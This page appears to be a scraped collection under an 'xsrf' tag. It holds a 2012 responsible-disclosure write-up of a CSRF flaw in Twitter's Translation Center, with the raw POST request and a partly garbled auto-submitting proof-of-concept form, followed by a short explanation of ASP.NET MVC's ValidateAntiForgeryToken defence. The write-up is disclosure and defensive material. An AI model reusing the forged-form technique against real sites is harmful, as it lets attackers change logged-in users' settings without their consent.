#xsrf

[xtreme-spirit]

[xtreme-spirit]

[prakharprasad]

Twitter Whitehat Vulnerability for 2012: Translation Center CSRF/XSRF

On 28th September 2012, I found a Cross-Site Request Forgery vulnerability on  http://translate.twttr.com which is the Twitter Translation Center While checking the service I landed up on the "Accounts Settings" page which looked like this.

So we've two options here, first one toggles the Twitter Badge setting on Twitter.com and second one  toggles the badge related notification. POST request which disables both the settings looks like this: POST /user/update HTTP/1.1 Host: translate.twttr.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Proxy-Connection: keep-alive Referer: http://translate.twttr.com/user/prakharprasad/settings Cookie: Content-Type: application/x-www-form-urlencoded Content-Length: 175 utf8=%E2%9C%93&_method=put& authenticity_token=B6PJGp2Hkm1zi6lVN%2FIueNd7QqlAhIfM5C1pht1MzE8%3D& user%5Bid%5D=809244&user%5Bbadging_exempted%5D=0&user%5Breceive_badge_email%5D=0 Now in the POST content, parameters of our interest are authenticity_token which is the CSRF prevention token generated by Twitter, user[badging_exempted] and user[receive_badge_email]  toggles the badge related settings, user[id] is the user id of  user, in my case it was 809244 and is static.

So, normally to prevent CSRF on this page authenticity_token needs to be verified on server-side, right ? but this wasn't the situation when I checked it. The server allowed the form to be submitted without even checking the authenticity_token (WTF?), which rendered it useless.So we had a CSRF here. The final Proof-of-Concept code I sent to Twitter Security Team to demonstrate CSRF existence looked like this:

onload=document.getElementById('xsrf').submit()>

id

='xsrf' method="post" action="http://translate.twttr.com/user/update">type='hidden' name='user[badging_exempted]' value='0'>type='hidden' name='user[id]=user[id]' value='809244'>type='hidden' name='user[receive_badge_email]' value='0'> _jim of Twitter Security Team replied within 1 hour of my initial bug report which said the team is investigating the issue.On 16th October the issue was addressed and then onwards the authenticity_token gets checked on the server-side. Any modification to the token results in an error page which looks like this:

I'm very thankful to Twitter Team for putting my name along with other white-hats on "Security at Twitter" Page. Conclusively I would thank _jim who kept me in sync while the issue was investigated and addressed.

[indusfaceposts]

CSRF- The sleeping Giant in Hacker's World

[xuperxonix]

ValidateAntiForgeryToken

MVC's anti-forgery support writes a unique value to an HTTP-only cookie and then the same value is written to the form. When the page is submitted, an error is raised if the cookie value doesn't match the form value.

It's important to note that the feature prevents cross site request forgeries. That is, a form from another site that posts to your site in an attempt to submit hidden content using an authenticated user's credentials. The attack involves tricking the logged in user into submitting a form.

The feature doesn't prevent any other type of data forgery or tampering based attacks.

To use it, decorate the action method or controller with the ValidateAntiForgeryToken attribute and place a call to HtmlHelper.AntiForgeryToken in the forms posting to the method.

source